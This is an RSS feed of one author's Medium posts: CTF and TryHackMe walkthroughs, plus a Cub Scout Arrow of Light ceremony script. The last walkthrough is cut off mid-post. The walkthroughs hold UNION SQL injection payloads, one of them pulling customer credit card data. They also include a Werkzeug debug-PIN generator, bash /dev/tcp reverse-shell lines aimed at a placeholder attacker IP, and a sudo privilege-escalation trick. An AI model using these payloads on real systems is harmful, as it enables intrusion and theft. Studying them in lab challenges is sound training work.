<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Matt (5h33pd06) on Medium]]></title>
        <description><![CDATA[Stories by Matt (5h33pd06) on Medium]]></description>
        <link>https://medium.com/@5h33pd06?source=rss-7e499c3817c0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Nw980pXipH7GfJmjLxkOnQ.jpeg</url>
            <title>Stories by Matt (5h33pd06) on Medium</title>
            <link>https://medium.com/@5h33pd06?source=rss-7e499c3817c0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 03:19:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@5h33pd06/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Phish Market Order Management Walkthrough]]></title>
            <link>https://medium.com/@5h33pd06/phish-market-order-management-walkthrough-62b8deb39027?source=rss-7e499c3817c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/62b8deb39027</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[intigriti]]></category>
            <dc:creator><![CDATA[Matt (5h33pd06)]]></dc:creator>
            <pubDate>Sun, 24 Nov 2024 04:52:04 GMT</pubDate>
            <atom:updated>2024-11-24T04:52:04.336Z</atom:updated>
            <content:encoded><![CDATA[<p>This is the official walkthrough for this challenge from the Intigriti 1337UPLIVE CTF 2024</p><p>When we connect to the provided server with nc &lt;server&gt; &lt;port&gt; we get the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*B3qeVKqNqpgF7rnON8Lq3A.png" /></figure><p>We can download the provided files and run a local instance of the docker for testing. Since we are provided with a binary for testing, let’s examine it. Let’s start off running the binary in strings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*dhON_KTvbnvy_ACjQeIR_g.png" /></figure><p>Okay, now if we scroll down further, we see the text strings indicating the prompts the user receives when running the program, however we don’t see any strings that readily jump out as being part of a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4N52SzyC3MCMxNNnZOpjaQ.png" /></figure><p>Let’s use Ghidra to decompile and analyze the binary.</p><p>There’s nothing that really sticks out as being useful in the function names, so let’s look at all of the functions. Inside the “FUN_0010544f” function we see our string of text “Access granted. Welcome to Phish Market Order Management System!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*I_2ZFJwPSE4ClRNAcvjGdA.png" /></figure><p>Okay, looking at this shows us that user input is being collected using “recv” and processes the input via “FUN_0010359c” to check if the password is valid.</p><p>If we examine “FUN_0010359c”, we see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*qcfNRiXP6rfmT2sF0g_MaA.png" /></figure><p>We can see that “bool FUN_0010359c(void **param_1)” is being used as a helper function to verify user input by checking the input against a stored value.</p><p>This function calls “FUN_001034c9” to retrieve a comparison value using “memcmp”. Our next step is to analyze “FUN_001034c9”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6QMPIvmz-a9zZCklsnpGSw.png" /></figure><p>This function generates a derived string using XOR operations between two arrays: DAT_00106c10 and DAT_00106c20. If we look at both of those arrays, we should see the bytes necessary to perform an XOR function to retrieve the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*EWp5Dvsq7KDHXiI-tMCapQ.png" /></figure><p>DAT_00106c10: 49 4e 54 49 47 52 49 54 49 31 33 33 37 75 70 23</p><p>DAT_00106c20: 07 7d 22 7a 15 15 79 3a 27 71 05 46 04 51 54 02</p><p>Looking at the following line helps us see what the formula we should use to decode the password is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*QhTGOFr5T63Wx4dmRMbX2A.png" /></figure><p>result[i] = DAT_00106c10[i] ^ DAT_00106c20[i]</p><p>There are tools that will perform XOR functions for us, however we can create a simple python script to perform this for us.</p><pre># Given data arrays <br>DAT_00106c10 = [0x49, 0x4e, 0x54, 0x49, 0x47, 0x52, 0x49, 0x54, 0x49, 0x31, 0x33, 0x33, 0x37, 0x75, 0x70, 0x23] <br>DAT_00106c20 = [0x07, 0x7d, 0x22, 0x7a, 0x15, 0x15, 0x79, 0x3a, 0x27, 0x71, 0x05, 0x46, 0x04, 0x51, 0x54, 0x02]<br><br># XOR operation <br>password = &#39;&#39;.join(chr(DAT_00106c10[i] ^ DAT_00106c20[i]) for i in range(len(DAT_00106c10)))<br>print(f&quot;Decoded Password: {password}&quot;)</pre><p>Running the script provides us with the reconstructed flag, which we can then input into the program to verify.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*hr1UzO9ah8cjPeMfUyHkCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*ZVfSm9jtrz39bL-mTw57ug.png" /></figure><p>From here, we have access to the order management system. If we look back at our strings command from earlier, we see that SQL commands are present, so we should try to do some SQL Injection in the various prompts to look for any data we shouldn’t have access to.</p><p>Luckily, we are provided with the structure of the mysql database as part of our testing environment. From here, we can examine and see that there is an “admin” table which contains the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*5XXitteRxaOlQBnJya7HXg.png" /></figure><p>We can first play around with testing some SQL Injections to see if the database is vulnerable. Let’s try a simple apostrophe to see what error messages pop-up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WqN9Inf8tiSJDoKAiNmZXQ.png" /></figure><p>Looks like the Products prompt is vulnerable, so let’s dive a little deeper into it. Let’s look at the supplied file and see what the structure of the Products table is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*lqPMHnKJqwhQVZSDTfth_w.png" /></figure><p>We see that there are two columns, name and price, and that name is VARCHAR and price is DECIMAL. We can try to dump the entire Products table by using the following SQL command:</p><pre>&#39; UNION SELECT name,price FROM products-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*-QJKw0AaNmwFINnKqHixqw.png" /></figure><p>Okay, that works, so let’s see if we can pull data from other tables. Let’s try pulling the name and credit card information from the Customers table with the following SQL command:</p><pre>&#39; UNION SELECT name,credit_card FROM customers-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*ThGE201o-Ue7xap1PpAAEw.png" /></figure><p>Since the “price” column in the Products table is DECIMAL, we won’t be able to put any non-decimal characters into it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*QcH09xMiW51Mcx_Mfgsj_Q.png" /></figure><p>So we know we need to keep all VARCHAR from other tables into the “name” column when doing our attack.</p><p>We can now try to pull the flag from the admin table by doing the following SQL command:</p><pre>&#39; UNION SELECT flag,null FROM admin-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*8cYhy5XG9bKJEzMIVDYOJQ.png" /></figure><p>And we receive our flag! We can now go into the actual challenge and use our decoded admin password to gain access to the system and use our SQL Injection to retrieve the flag for this challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62b8deb39027" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Arrow of Light Crossover w/ Blue and Gold Ceremony]]></title>
            <link>https://medium.com/@5h33pd06/arrow-of-light-crossover-w-blue-and-gold-ceremony-91c15eacfab9?source=rss-7e499c3817c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/91c15eacfab9</guid>
            <dc:creator><![CDATA[Matt (5h33pd06)]]></dc:creator>
            <pubDate>Wed, 07 Feb 2024 15:07:53 GMT</pubDate>
            <atom:updated>2024-02-07T15:07:53.910Z</atom:updated>
            <content:encoded><![CDATA[<p>*****Opening*****<br>Prayer From Apollo<br>(read the prayer that was broadcast from outer space by Frank Borman from the Apollo in December, 1968.)<br>“Give us, O God, the vision which can see Thy love in the world in spite of human failure. Give us the faith to trust Thy goodness in spite of our ignorance and weakness. Give us the knowledge that we may continue to pray with understanding hearts, and show us what each one of us can do to set forward the coming of universal peace.”<br>At this time, I ask for a moment of silence.<br>A Reflection on the Philmont Grace<br>FOR FOOD: For food of combined thought from all around the world, to help us grow wiser in Scouting<br>FOR RAIMENT: For our Scouting uniform, which we have not only the blessing to wear, but the duty to honor<br>FOR LIFE: For a life of freedom in these great United States, a nation unsurpassed anywhere on this fragile planet, where we are truly free to live the aims of Scouting<br>FOR OPPORTUNITY: For the opportunity of Scouting itself – to be here with you – some of the finest people in Scouting<br>FOR FRIENDSHIP: For those we have met through Scouting and grown to love through that common interest – our love for ideals that we offer to the boys who mean so much to us.<br>AND FELLOWSHIP: To share a laugh, to help a friend in some small way. To share a sunrise, a sunset. To climb a mountain and reach the stars.<br>WE THANK THEE, O LORD: The one to whom we owe so much. Amen.<br>*****Dinner*****<br>Start with Webelos, go by dens with Lions last.<br>*****Blue &amp; Gold*****<br>The History Of Scouting<br>HOW IT ALL BEGAN<br>On February 22, 1857, the shrill voice of a newborn baby boy was heard from the home of a family of gentlefolk in England. That voice was to be heard around the world. Over the next eighty years, the voice cried out for world friendship, international understanding and fellowship among the boys from every land. This was the voice of Robert Stephenson Smyth Baden-Powell. In his lifetime, Robert Baden-Powell did many things and all of them well. He was a student, illustrator, author, soldier, but most of all, he was a leader of men and boys. Baden-Powell wrote a book called Aids to Scouting to train the English Army. Many people were interested in his book, so he began to think that the same ideas might be used to train boys as well as soldiers. To try out these ideas, he held a camp for 22 boys on Brownsea Island, Dorset, in 1907. They swam, signaled, hiked and played games. Scouting had begun! Scouting was seen to be so much fun that before long younger boys were asking to become Scouts. So in 1916 Baden-Powell started the Wolf Cubs to provide fun and adventure for boys aged 8 to 11. Wolf Cubs learned to light fires, use a compass, give first aid and keep themselves fit and healthy, as well as many other things. They also played games and went on outings. Cubbing had begun and soon it began to grow and grow.<br>HOW SCOUTING CAME TO AMERICA<br>In the fall of 1909 an American publisher, William D. Boyce from Chicago was in London, England on business. A dense fog made getting around in the city difficult and Mr. Boyce stopped under a street lamp to get his bearings. Out of the fog a young boy approached him and asked if he could help. So the boy helped Mr. Boyce find the business office he was looking for. When they had arrived there, Mr. Boyce began to give the boy a tip. &quot;No, thank you, sir. Not for doing a good turn.&quot; And why not, Mr. Boyce inquired. &quot;Because I am a Scout--and a Scout doesn’t take anything for helping.&quot; &quot;A Scout? And what might that be?&quot; The boy, then told the American about the Boy Scouts and even took him later to meet the founder of Scouting, Robert Baden-Powell. Just a few months later on February 8, 1910, Mr. Boyce and some other Americans met in Washington, D. C., and incorporated the Boy Scouts of America<br>The Cub Scouting colors are blue and gold. They have special meaning, which will help boys see beyond the fun of Cub Scouting to its ultimate goals.<br><br>The blue stands for truth and spirituality, steadfast loyalty, and the sky above.<br><br>The gold stands for warm sunlight, good cheer, and happiness.<br>Blessed Are the Cub Scouts<br>Blessed are the Cub Scouts who are taught to see beauty in all things around them. For their world will be a place of grace and wonder.<br>Blessed are the Cub Scouts who are led with patience and understanding... For they will learn the strength of endurance and gift of tolerance.<br>Blessed are the Cub Scouts who are provided a home where family members dwell in harmony and close communion. – For they shall become the peacemakers of the world.<br>Blessed are the Cub Scouts who are taught the value and power of truth... For they shall search for knowledge and use it with wisdom and discernment.<br>Blessed are the Cub Scouts who are loved and know that they are loved... For they shall sow seeds of love in the world and reaps joy for themselves and others.<br>AMEN.<br>*****Arrow of Light Ceremony*****<br>We are here tonight to celebrate the graduation of our Arrow of Light Scouts from Cub Scouts and to honor them with the Arrow of Light award.<br>Would our Arrow of Light Scouts and their adults please come forward and face the audience with adults standing behind their Scout?<br>For the other Cub Scouts, as this is a very special ceremony, please listen and watch quietly. In a year or two, it will be your turn to receive this award.<br>The final and highest rank of Cub Scouting is the Arrow of Light. The Arrow of Light is much more difficult to earn than a belt loop, an activity badge, or even one of the rank awards. To earn this award, scouts have to meet a number of requirements, including completion of eight activity badges, participation in outings, Troop visits, the memorization of the Scout Oath and the Scout Law, and the commitment to live by these principles. Arrow of Light Scouts, will you please stand at attention, salute the audience, and recite the Scout Oath and Scout Law.<br>“On my honor, I will do my best, to do my duty to God and my country and to obey the scout law; To help other people at all times; To keep myself physically strong, mentally awake, and morally straight.”<br>“A Scout is Trustworthy, Loyal, Helpful, Friendly, Courteous, Kind, Obedient, Cheerful, Thrifty, Brave, Clean, and Reverent.”<br>As a Cub Scout, you have been guided through the Cub Scout trail with the help of many Akelas. Tonight, as you become a Scout, you will find that, while there are many people willing to help, you take on more and more responsibility for blazing your own trail to Eagle, the highest rank in Scouting.<br>Before you is a blue candle that represents the Spirit of Cub Scouting - that spirit of giving goodwill and Doing Your Best.<br>(Arrow of Light Leader), will you light the blue candle?<br>Aarow of Light Scouts, do you promise to fulfill the Cub Scout Promise and the Cub Scout Motto of “Do Your Best”, when you receive the Arrow of Light Badge? If so, please respond, “I DO”.<br>AoL Scouts: I do.<br>(Arrow of Light Leader), will you light the white candle<br>The white candle represents the Spirit of Scouting as embodied by the 12 points of the Scout Law. Even though youth and adult leaders will cheerfully show you the skills you need, it will be up to you to live up to the 12 points of the Scout Law. Daily, you will be faced with decisions and at times, the trail will seem most difficult to follow. Make your choices by always remembering the Scout Law. Arrow of Light Scouts, in all you do, do you promise to be forever Trustworthy, Loyal, Helpful, Friendly, Courteous, Kind, Obedient, Cheerful, Thrifty, Brave, Clean and Reverent? If so, please respond “I do”.<br>AoL Scouts: I do.<br>(Arrow of Light Leader), will you light the yellow candle<br>The yellow candle represents the Arrow of Light Award.<br>The Arrow of Light Award that these Scouts will be presented tonight has been crafted to help them remember their promise to keep the Spirit of Cub Scouting alive.<br>The shaft of the Arrow of Light symbol is straight and narrow – just as is the path that you scouts should follow throughout your life. Only an arrow that is straight and true will hit its mark. Its tip points the way – the way to success in all that you do. It is pointing to the right – a symbol that nothing should be left undone; if it is within your power to do it, see that it is done. And lastly, the seven rays of the sun, one for each day of the week; this is to remind you that every day is a new day – a day to Do Your Best in everything.<br>The Arrow of Light Award is the culmination of all your cub scouting efforts. It will help you be a more effective Boy Scout as you take with you all the things you have learned.<br>(Arrow of Light Leader) please present the arrow to each Arrow of Light Scout<br>Since you are graduating from Cub Scouting tonight, you will no longer be a Cub Scout, except in your memories. Because this arrow represents the path along which you have come, but not the path along which you must go, one of the arrows will now be broken.<br>(Cubmaster takes the extra arrow and breaks it over their knee, holding up both broken pieces.)<br>This broken arrow will now be forever a reminder to you, that you graduated from Cub Scouting with honor. It will no longer fly, just as you will no longer be a Cub Scout. But you will always wear the Arrow of Light symbol on your uniform as a reminder of your accomplishment.<br>You’ve completed all the requirements for your Arrow of Light badge and have completed the Cub Scout trail.<br>The Arrow of Light is a significant achievement. It is recognized as such by the Scouts BSA. When you become a Scout, you continue to wear the Arrow of Light on your uniform. In view of that significance, I offer my sincere congratulations to each of you.<br>Tonight, you have achieved the highest rank of Cub Scouts. You have shown what you are capable of doing. Tonight, you will be crossing the bridge from the Pack to the Scout Troop.<br>I challenge you to continue to live by the ideals you have learned in Cub Scouts, especially the Cub Scout Motto: “DO YOUR BEST!”<br>I challenge you to look at the Arrow of Light badge and think about what it represents.<br>I challenge you to soar to great heights and earn the Eagle Scout Rank in Scouts BSA.<br>Congratulations, good luck, and success to you in your scouting career. Parents, guests, and Cub Scout Pack XXX, please join me in giving our Arrow of Light Scouts a standing ovation for achieving the highest award in Cub Scouting.<br>It is with a great sense of pride that I now ask you to hand your plaque to your adults and remove your Webelos neckerchief and slide and give them to your adults. You have done well in your den, but your den is no more. You are about to move on to Scouts. You will be a part of a new patrol. Thank you for all the hard work you put in and for doing your best. It has been fun to work with you, and a thrill to watch you learn and grow.<br>Notice that the green candle is not lit. It represents Scouts BSA. This is to remind you of what is yet to be enjoyed in Scouts. At this time, I would like to introduce you to your new Scoutmaster, XXXXX and ask him/her to light the green candle to start you on your way as BSA Scouts.<br>	(XXXXXX lights the green candle)<br>(Arrow of Light Leader) will now lead you and your parents across the bridge that connects Cub Scouting with Scouting, where the Scouts of Troop XXX will be waiting to greet you.<br>As you cross the bridge from Cub Scouting to Scouting, you will be presented with your Scout Handbook, and your blue Cub Scout shoulder loops will be removed and replaced with green Scout shoulder loops. As your shoulder loops are being replaced, remember the things that you learned in Cub Scouting. As you wear the green Scout shoulder loops, remember that they represent the members of our troop who always try to do their best and be prepared. As I call out your name, please proceed, with your parents across the bridge. As you cross the bridge, please stop and give your pack one last salute, then turn and salute your new troop and continue across the bridge.<br><br>AoL Scout 1<br>AoL Scout 2…<br><br>I congratulate you on the fine work that you have done. Welcome, Scouts, to Scouts BSA!<br><br>And now, let’s give these Scouts and their adults one more big round of applause!<br><br>CLOSING<br>Tomorrow’s World<br>In Tomorrow’s World, our life will be different than it is today. We can only imagine what our life will be like.<br>Your presence tonight signifies that you are committed to making our country a strong nation and Scouting a good influence for our children and grandchildren. Scouting will surely be different in the future but the principles will still be the same – the building of a boy with strong character and prepared for leadership.<br>To touch the past, touch a stone. To touch the present, touch a flower. To touch the future, touch the mind of a child.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91c15eacfab9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Advent of Cyber 2023: Side Quest 4]]></title>
            <link>https://medium.com/@5h33pd06/thm-advent-of-cyber-2023-side-quest-4-fe885d17cdf4?source=rss-7e499c3817c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe885d17cdf4</guid>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[git]]></category>
            <dc:creator><![CDATA[Matt (5h33pd06)]]></dc:creator>
            <pubDate>Tue, 09 Jan 2024 16:07:53 GMT</pubDate>
            <atom:updated>2024-01-09T16:07:53.767Z</atom:updated>
            <content:encoded><![CDATA[<p>This challenge is found by conducting additional Buffer Overflow from the 2023 Advent of Cyber Day 20 challenge. This was probably the easiest/quickest of the Side Quests to find and it involved finding the code in a Git commit.</p><p><a href="https://tryhackme.com/jr/surfingyetiiscomingtotown">TryHackMe | Cyber Security Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZxM_vTeIw0fokZBe1NXOw.png" /><figcaption>Looks like some “surfing” and some type of Injection will be involved in this one</figcaption></figure><p>Our Initial enumeration shows only 2 ports open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/221/1*uDWQOQZvGHXayZ9TmG6IXg.png" /></figure><p>Using directory enumeration, we find that there are two directories available: download and console</p><p>Going to /console brings up a page where it looks like we can run python code, however it’s locked behind a pin code. There are several good write-ups that explain how to crack this pin if we are able to get lfi/ssrf to be able to read certain files:</p><p><a href="https://hacktricks.boitatech.com.br/pentesting/pentesting-web/werkzeug">https://hacktricks.boitatech.com.br/pentesting/pentesting-web/werkzeug</a></p><p><a href="https://www.daehee.com/werkzeug-console-pin-exploit/">https://www.daehee.com/werkzeug-console-pin-exploit/</a></p><p>Port 8000 opens up a webpage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mgAX-llsoylyRrecaw2ZbQ.png" /></figure><p>If we click on each of the elves, we receive a download titled “download.svg”</p><p>If we hover over the elves, we see the command that is being sent to the server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*-pPQ3blJOAisjQbIhNRMpA.png" /></figure><p>We can experiment with some commands to look for SQL injection involving the “id=” parameter</p><p>We can do this manually, with SQLMap, with Burp Suite, or other appropriate tools.</p><p>There is a 4th picture located by manually inputting id=4</p><p>We can fully enumerate the database by using SQLMap and running <br> sqlmap -u <a href="http://%3cIP">http://&lt;IP</a> ADDRESS&gt;:8000/download?id=1 — dump all — tables</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*BBFQHzMj8rn_5bJN7Bd7KA.png" /></figure><p>SQLMap identifies that the “id=” parameter is vulnerable to various injection attacks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*34DxMsDhhrDyZOgecX-Lyg.png" /></figure><p>SQLMap also shows us three databases: information_schema, performance_schema, and elf_images</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*dWG_HORUv3qmuwHIxsyYlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*AIl4vNK0e2WR2nZH3kUHTw.png" /></figure><p>Armed with this information, we can start enumerating further and looking for ways to possibly perform a Local File Inclusion (LFI) or Server Side Reflected Forger (SSRF) attack.</p><p>We can follow the guides on completing the Werkzeug console pin exploit and find the necessary files to piece together the pin to unlock the console</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qCTSQ7RygJmfDIX7rHt_Uw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Brna0LAvb2lrOVdFl8ssfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ze0SdYeDeSS9O_j9vCejA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_fZ3qg449BG3RnKzrJDp0w.png" /></figure><p>We can do a little manual file enumeration and find one of our flags!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*6ExkTzvb59G8AZ2RMJw-sg.png" /></figure><p>Now, we can use the python script with our new found information to generate the pin</p><pre>#!/bin/python3<br>import hashlib<br>from itertools import chain<br><br>mac = &quot;02:c8:ca:13:16:77&quot; #Insert MAC address here from /sys/class/net/eth0/address<br>macDec = int(mac.replace(&quot;:&quot;, &quot;&quot;), 16)<br><br>probably_public_bits = [<br>     &#39;mcskidy&#39;,# username<br>     &#39;flask.app&#39;,# modname<br>     &#39;Flask&#39;,# getattr(app, &#39;__name__&#39;, getattr(app.__class__, &#39;__name__&#39;))<br>     &#39;/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py&#39; # getattr(mod, &#39;__file__&#39;, None),<br>]<br><br>private_bits = [<br>     str(macDec),# str(uuid.getnode()),  /sys/class/net/ens33/address <br>     # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup<br>     &#39;aee6189caee449718070b58132f2e4bacron.service&#39;<br>]<br><br>h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5<br>for bit in chain(probably_public_bits, private_bits):<br>     if not bit:<br>          continue<br>     if isinstance(bit, str):<br>          bit = bit.encode(&#39;utf-8&#39;)<br>     h.update(bit)<br>h.update(b&#39;cookiesalt&#39;)<br><br>cookie_name = &#39;__wzd&#39; + h.hexdigest()[:20]<br><br>num = None<br>if num is None:<br>     h.update(b&#39;pinsalt&#39;)<br>     num = (&#39;%09d&#39; % int(h.hexdigest(), 16))[:9]<br><br>rv = None<br>if rv is None:<br>     for group_size in 5, 4, 3:<br>          if len(num) % group_size == 0:<br>               rv = &#39;-&#39;.join(num[x:x + group_size].rjust(group_size, &#39;0&#39;)<br>                                for x in range(0, len(num), group_size))<br>               break<br>     else:<br>          rv = num<br><br>print(&quot;Pin: &quot; + rv)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/157/1*b12mCR3sYQTNxsf1xmt5aw.png" /><figcaption>This changes with each reboot of the VM</figcaption></figure><p>Once we have the pin, we can use that to log into the console and execute the following code to open a reverse shell back onto our attack machine</p><pre>&gt;&gt;&gt; import os<br>&gt;&gt;&gt; os.popen(&#39;/bin/bash -c &quot;bash -i &gt;&amp; /dev/tcp/&lt;ATTACK_IP_ADDRESS&gt;/&lt;PORT&gt;0&gt;&amp;1&quot;&#39;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*73sOLgTLotbNNuCfF2B98w.png" /></figure><p>Upgrade shell</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>We can poke around and do some basic enumeration to start off with</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9sRqOrkk3bgEgrmYgNOIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*3jDlgw8bsIVVg2iO6ZalLA.png" /></figure><p>Looking in the .git directory, we can run “git log” to bring up a list of commits made. Then, we can run “git diff &lt;commit&gt;” to see what was changed.</p><pre>:commit 179fb01367b16dffb91bde040c0a6c5933a248b5<br>:<br><br>Author: mcskidy &lt;mcskidy@proddb&gt;<br>:Date:   Thu Oct 19 20:00:41 2023 +0000<br>:<br><br><br><br>:    Initial files<br>:<br><br># MySQL configuration<br> app.config[&#39;MYSQL_HOST&#39;] = &#39;localhost&#39;<br> app.config[&#39;MYSQL_USER&#39;] = &#39;mcskidy&#39;<br>-app.config[&#39;MYSQL_PASSWORD&#39;] = &#39;F453TgvhALjZ&#39;<br>+app.config[&#39;MYSQL_PASSWORD&#39;] = &#39;fSXT8582GcMLmSt6&#39;<br> app.config[&#39;MYSQL_DB&#39;] = &#39;elfimages&#39;<br> mysql = MySQL(app)</pre><p>It looks like they removed a password of <strong>F453TgvhALjZ</strong> and replaced it. We can try this password in various places now!</p><p>We can now run “sudo -l” and use the password received from the git diff to run sudo commands, and we find that we are able to run “sudo /bin/bash /opt/check.sh”</p><p>Checking the contents of /opt/check.sh, we see that this is referencing /opt/.bashrc and then changing into the /home/mcskidy directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*VJZhhB4v3CRy0C1rfdvmMQ.png" /></figure><p>Checking the /opt/.bashrc directory, we see that the first few lines contain the command “enable -n [ # ]”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*kGga-a7HAXFwjfFctg2ZTw.png" /></figure><p>If we compare this to the regular .bashrc, we see that the “enable -n” command is not present</p><p>The # in the “enable -n” line is commenting out the closing bracket “]”, thereby causing the “enable -n” command to disable any builtin command of “[“. By the “check.sh” script changing into the “/home/mcskidy” directory, it then looks in there for an executable named “[“.</p><p>If we create an executable script called “[“ and put in a single line reverse shell like</p><pre>bash -i &gt;&amp; /dev/tcp/&lt;IP ADDRESS&gt;/&lt;PORT&gt; 0&gt;&amp;1</pre><p>then create a listener with nc, whenever we run “sudo bash /opt/check.sh” it will open a reverse shell under root. We now have access to our last two flags, as well as some other files and directories that provide more information about the Yeti’s case!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xyf9LrNHlzSHKQ_8yl7VIw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe885d17cdf4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Advent of Cyber 2023: Side Quest 3]]></title>
            <link>https://medium.com/@5h33pd06/tryhackme-advent-of-cyber-2023-side-quest-3-d6986b6f8c55?source=rss-7e499c3817c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6986b6f8c55</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[busybox]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Matt (5h33pd06)]]></dc:creator>
            <pubDate>Tue, 09 Jan 2024 15:27:42 GMT</pubDate>
            <atom:updated>2024-01-09T16:10:14.213Z</atom:updated>
            <content:encoded><![CDATA[<p>This challenge is found by conducting additional research into Day 11 from the 2023 Advent of Cyber Day 6 challenge and exploiting the Acropalypse exploit found in Windows Snip and in Google Pixel phones <a href="https://github.com/frankthetank-music/Acropalypse-Multi-Tool">https://github.com/frankthetank-music/Acropalypse-Multi-Tool</a></p><p><a href="https://tryhackme.com/jr/busyvimfrosteau">TryHackMe | Cyber Security Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IQktdZvZJOVXeAEocoE-GA.png" /><figcaption>It looks like we’ll be using Vim, Docker escape, and Busybox in this challenge</figcaption></figure><p>We start our initial enumeration and find several ports open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*VZBrIsWdVCe_gn184za3Gg.png" /></figure><p>Looking at these ports shows us that port 80 produces a web page with a 405 error message</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*2G5qbIg5Zt8k7ho0hQxkSw.png" /></figure><p>Port 8065 immediately closes a telnet connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/295/1*XcnZk5yFUenbqFh5yxeJ4w.png" /></figure><p>Port 8075 produces a FTP login. No webpage login is associated with it. (Some further enumeration also found that this is a D-Link DCS-932l, which is vulnerable to CVE2019–10999, however this seemed to be a dead end rabbit hole.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*3hYLtGh8P44czzbGebaYIA.png" /></figure><p>FTP into 8075 with anonymous gives us the ability to download files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*9UtZMRQzSiJ5wZKcrE3fow.png" /></figure><p>We find several files available, including Flag-1-of-4.txt and Flag-2-of4.sh. We can download these files and read them locally. We get our first flag, as well as a hint on how to get the 2nd!</p><p>Port 8085 produces a Vim session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*A5YMJ2NHMFJGDajslXAN0A.png" /></figure><p>Port 8095 produces a Nano session</p><figure><img alt="" 